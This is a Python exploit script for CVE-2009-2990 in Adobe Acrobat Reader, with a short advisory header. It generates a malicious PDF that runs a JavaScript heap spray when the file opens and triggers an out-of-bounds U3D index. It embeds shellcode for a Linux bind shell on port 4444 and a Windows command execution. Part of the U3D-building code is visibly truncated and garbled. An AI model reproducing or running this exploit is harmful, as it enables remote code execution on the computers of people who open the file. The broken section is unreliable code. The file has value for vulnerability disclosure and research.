######################################################################### #### Felipe Andres Manzano * felipe.andres.manzano@gmail.com #### #### http://twitter/feliam #### ######################################################################### __doc__=''' Title: U3D CLODProgressiveMeshContinuation Split Position Index arbitrary dereference. Product: Adobe Acrobat Reader Version: <=8.1.6, <=9.1.3 Product Homepage: www.adobe.com CVE: 2009-2990 OSs: WinXPSPx/Linux Vulnerability Description ----------------------------------------- Universal 3D (U3D) is a compressed file format standard for 3D computer graphics data. When a U3D CLODProgressiveMeshContinuation (blocktype: 0xFFFFFF3C) is parsed by Adobe acrobat reader U3D plugin the split position index is readed from the input without any validation. That index is then used for getting an object out of the limits of the array, object from wich a function pointer is dereferenced and called. From the u3d specification: ## 9.6.1.3.4.1 U32 [rCurrentPositionCount]: Split Position Index # Split Position Index is the index of the position to be split by this # Resolution Update. Exploiting: In acrobat using a well known js heap spray an attacker could control the contents of the dereferenced object and execute arbitrary code. Note that, at least for XP there is NO strict need to do the spray with JS/Flash. An multiexploit for {Adobe Acrobat Reader/Multilingual}x{7.x, 8.x, 9.x}x{XPSP2, XPSP3, Linux} is provided as a .. PoC. REFERENCES ========== http://www.adobe.com/support/security/bulletins/apsb09-15.html http://en.wikipedia.org/wiki/Universal_3D http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%204th%20edition.pdf http://www.adobe.com/devnet/acrobat3d/pdfs/U3DElements.pdf http://www.ucon-conference.org/materials/2009/HackingPDFReaders-uCon-2009.pdf Vulnerability WorkAround (if possible) ----------------------------------------- PATCH AVAILABLE! ''' import os import zlib import sys import struct #For constructing a minimal pdf file class PDFObject: def __init__(self): self.n=None self.v=None def __str__(self): raise "Fail" class PDFStream(PDFObject): def __init__(self, dict,stream): PDFObject.__init__(self) dict.add('Length', len(stream)) self.dict=dict self.stream=stream def __str__(self): s="" s+=self.dict.__str__() s+="\nstream\n" s+=self.stream s+="\nendstream" return s class PDFArray(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "[%s]"%(" ".join([ o.__str__() for o in self.s])) class PDFDict(PDFObject): def __init__(self): PDFObject.__init__(self) self.dict = [] def add(self,name,obj): self.dict.append((name,obj)) def __str__(self): s="<<" for name,obj in self.dict: s+="/%s %s "%(name,obj) s+=">>" return s class PDFName(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "/%s"%self.s class PDFString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "(%s)"%self.s class PDFHexString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">" class PDFOctalString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s="".join(["\\%03o"%ord(c) for c in s]) def __str__(self): return "(%s)"%self.s class PDFNum(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "%s"%self.s class PDFBool(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): if self.s: return "true" return "false" class PDFRef(PDFObject): def __init__(self,obj): PDFObject.__init__(self) self.obj=[obj] def __str__(self): return "%d %d R"%(self.obj[0].n,self.obj[0].v) class PDFNull(PDFObject): def __init__(self): PDFObject.__init__(self) def __str__(self): return "null" class PDFDoc(): def __init__(self): self.objs=[] def setRoot(self,root): self.root=root def _add(self,obj): obj.v=0 obj.n=1+len(self.objs) self.objs.append(obj) def add(self,obj): if type(obj) != type([]): self._add(obj); else: for o in obj: self._add(o) def _header(self): return "%PDF-1.7\n" def __str__(self): doc1 = self._header() xref = {} for obj in self.objs: xref[obj.n] = len(doc1) doc1+="%d %d obj\n"%(obj.n,obj.v) doc1+=obj.__str__() doc1+="\nendobj\n" posxref=len(doc1) doc1+="xref\n" doc1+="0 %d\n"%(len(self.objs)+1) doc1+="0000000000 65535 f\n" for xr in xref.keys(): doc1+= "%010d %05d n\n"%(xref[xr],0) doc1+="trailer\n" trailer = PDFDict() trailer.add("Size",len(self.objs)+1) trailer.add("Root",PDFRef(self.root)) doc1+=trailer.__str__() doc1+="\nstartxref\n%d\n"%posxref doc1+="%%EOF\n\n" return doc1 ##Main ## linux_ia32_bind - LPORT=4444 Size=84 Encoder=None http://metasploit.com linScode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" linScode += "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" linScode += "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" linScode += "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" linScode += "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" linScode += "\x89\xe1\xcd\x80" # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com w32Scode = "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x88" w32Scode += "\x06\x28\x26\x83\xeb\xfc\xe2\xf4\x74\xee\x6c\x26\x88\x06\xa3\x63" w32Scode += "\xb4\x8d\x54\x23\xf0\x07\xc7\xad\xc7\x1e\xa3\x79\xa8\x07\xc3\x6f" w32Scode += "\x03\x32\xa3\x27\x66\x37\xe8\xbf\x24\x82\xe8\x52\x8f\xc7\xe2\x2b" w32Scode += "\x89\xc4\xc3\xd2\xb3\x52\x0c\x22\xfd\xe3\xa3\x79\xac\x07\xc3\x40" w32Scode += "\x03\x0a\x63\xad\xd7\x1a\x29\xcd\x03\x1a\xa3\x27\x63\x8f\x74\x02" w32Scode += "\x8c\xc5\x19\xe6\xec\x8d\x68\x16\x0d\xc6\x50\x2a\x03\x46\x24\xad" w32Scode += "\xf8\x1a\x85\xad\xe0\x0e\xc3\x2f\x03\x86\x98\x26\x88\x06\xa3\x4e" w32Scode += "\xb4\x59\x19\xd0\xe8\x50\xa1\xde\x0b\xc6\x53\x76\xe0\x78\xf0\xc4" w32Scode += "\xfb\x6e\xb0\xd8\x02\x08\x7f\xd9\x6f\x65\x49\x4a\xeb\x28\x4d\x5e" w32Scode += "\xed\x06\x28\x26" #Trap shellcode dbgScode = "\xcc"*10 class PDFU3DExploit: def _toJS(self, s): if len(s) % 2 != 0: raise "Err! Should be even number of chars" r = "" for i in range (0,len(s)/2): r += "%u"+ "".join([ "%02x%02x"%(ord(s[i*2+1]),ord(s[i*2]))]) return r def _getU3DStream(self, index): stream = "\x53\x6f\x72\x72\x79\x2c\x20\x6b\x69\x6c\x6c\x69\x6e\x67\x20\x73" stream += "\x6f\x6d\x65\x20\x73\x6b\x69\x64\x64\x69\x65\x73\x2e\x20\x20\x20" stream += "\x55\x33\x44\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" stream += "\x00\x00\x00\x00\x24\x00\x00\x00\x80\xb6\x02\x00\x00\x00\x00\x00" stream += "\x6a\x00\x00\x00\x14\xff\xff\xff\xa0\x00\x00\x00\x00\x00\x00\x00" stream += "\x0b\x00\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x01\x00\x00" stream += "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x31\xff\xff\xff" stream += "\x75\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x45\x45\x45\x45\x45\x45" stream += "\x45\x45\x45\x45\x45\x00\x00\x00\x00\x00\x00\x00\x00\x22\xc3\x00" stream += "\x00\x26\x62\x00\x00\x66\x49\x02\x00\x00\x00\x00\x00\x00\x00\x00" stream += "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" stream += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x26\x62\x00\x00\x2c\x01\x00" stream += "\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x6c\x1e\x0b\x3f\xa6\x05\x6f" stream += "\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d\x3c\x66\x66\x66" stream += "\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x00\x00\x00\x00\x00\x00\x00" stream += "\x3c\xff\xff\xff\xf6\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x45\x45" stream += "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x00\x00\x00\x00\x00\x00\x00" stream += "\x00\x00\x10\x00\x00" stream += struct.pack(">") annot3d.add('Rect', PDFArray([ 0, 0, 640, 480])) annot3d.add("3DD", PDFRef(str3d)) annot3d.add("F", "7") self.doc.add(annot3d) return PDFRef(annot3d) def __init__(self,w32scode,linscode): self.doc= PDFDoc() self.w32Scode = w32scode self.linScode = linscode javascript = PDFDict() javascript.add("S", PDFName("JavaScript")) javascript.add("JS", PDFHexString(''' var jmp = unescape("%u9090%u7f3e"); var nop = unescape("%u9090%u9090"); function mkSlice(str,size,rest){ while (str.length <= size/2) str += str; str = str.substring(0, size/2 -32/2 -4/2 - rest -2/2); return str; }; function spray(escA,escB,escC,escShellcode){ var i; var pointersA = unescape(escA); var pointersB = unescape(escB); var pointersC = unescape(escC); var shellcode = unescape(escShellcode); pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length); pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length); pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length); nop_slide = mkSlice(nop,0x100000, shellcode.length); var x = new Array(); for (i = 0; i < 400; i++) { if(i<100) x[i] = pointersA_slide+pointersA; else if(i<200) x[i] = pointersB_slide+pointersB; else if(i<300) x[i] = pointersC_slide+pointersC; else x[i] = nop_slide+shellcode; } return x; }; var mem; if (app.platform == "WIN"){ mem = spray("%u0f0f%u0f0f","%u1616%u1616","%u1c1c%u1c1c","'''+self._toJS(self.w32Scode)+'''") this.pageNum = 2; }else if (app.platform =="MAC"){ this.pageNum = 0; //not exploitable }else{ mem = spray("%u5979%u7975","%ua2a2%ua2a2","%u9c9c%u9c9c","'''+self._toJS(self.linScode)+'''"); this.pageNum = 1; } //feli ''')) self.doc.add(javascript) branding = PDFDict() branding.add("Author", PDFString("Felipe Andres Manzano")) branding.add("email", PDFString("felipe.andres.manzano@gmail.com")) branding.add("web", PDFString("felipe.andres.manzano.googlepages.com")) self.doc.add(branding) #outline outlines = PDFDict() outlines.add("Type", PDFName("Outlines")) outlines.add("Count",0) #pages pages = PDFDict() pages.add("Type", PDFName("Pages")) #catalog catalog = PDFDict() catalog.add("Type", PDFName("Catalog")) catalog.add("Outlines", PDFRef(outlines)) catalog.add("Pages", PDFRef(pages)) catalog.add("OpenAction", PDFRef(javascript)) #lets add those to doc just for showing up the Ref object. self.doc.add([catalog,outlines,pages]) #Set the pdf root self.doc.setRoot(catalog) contents = PDFStream(PDFDict(), '(Aaaaa) Tj' ) resources = PDFDict() resources.add('ProcSet', PDFArray([PDFName('PDF')])) self.doc.add([contents, resources]) #The pdf pages linuxPage = PDFDict() linuxPage.add('Type', PDFName('Page')) linuxPage.add('Parent', PDFRef(pages)) linuxPage.add('MediaBox', PDFArray([ 0, 0, 640, 480])) linuxPage.add('Contents', PDFRef(contents)) linuxPage.add('Resources', PDFRef(resources)) #2.6.24linuxPage.add('Annots', PDFArray([self._getU3DAnnotation(self._getU3DStream(0xb0000))])) #2.6.27linuxPage.add('Annots', PDFArray([self._getU3DAnnotation(self._getU3DStream(0xbd0000))])) #linuxPage.add('Annots', PDFArray([self._getU3DAnnotation(self._getU3DStream(0xffffff9f))])) linuxPage.add('Annots', PDFArray([self._getU3DAnnotation(self._getU3DStream(0xfffffe3c))])) self.doc.add(linuxPage) windowsPage = PDFDict() windowsPage.add('Type', '/Page') windowsPage.add('Parent', PDFRef(pages)) windowsPage.add('MediaBox', PDFArray([ 0, 0, 640, 480])) windowsPage.add('Contents', PDFRef(contents)) windowsPage.add('Resources', PDFRef(resources)) windowsPage.add('Annots', PDFArray([self._getU3DAnnotation(self._getU3DStream(0x01d10000))])) self.doc.add(windowsPage) pageDummy = PDFDict() pageDummy.add('Type', '/Page') pageDummy.add('Parent', PDFRef(pages)) pageDummy.add('MediaBox', PDFArray([ 0, 0, 640, 480])) pageDummy.add('Contents', PDFRef(contents)) pageDummy.add('Resources', PDFRef(resources)) self.doc.add(pageDummy) pages.add('Count', PDFNum(3)) pages.add('Kids',PDFArray([PDFRef(pageDummy),PDFRef(linuxPage),PDFRef(windowsPage)])) def render(self): #render it return self.doc.__str__() ##Main if __name__=="__main__": if len(sys.argv) != 2: print __doc__ print "For metasploit integration check out:\n\t http://sites.google.com/site/felipeandresmanzano/python_pdf_wrapper.rb" print "Usage:\n\t%s %s"%(sys.argv[0],"shellcode".encode('hex')) sys.exit() u3dpdf = PDFU3DExploit(sys.argv[1].decode('hex'),linScode) print u3dpdf.render()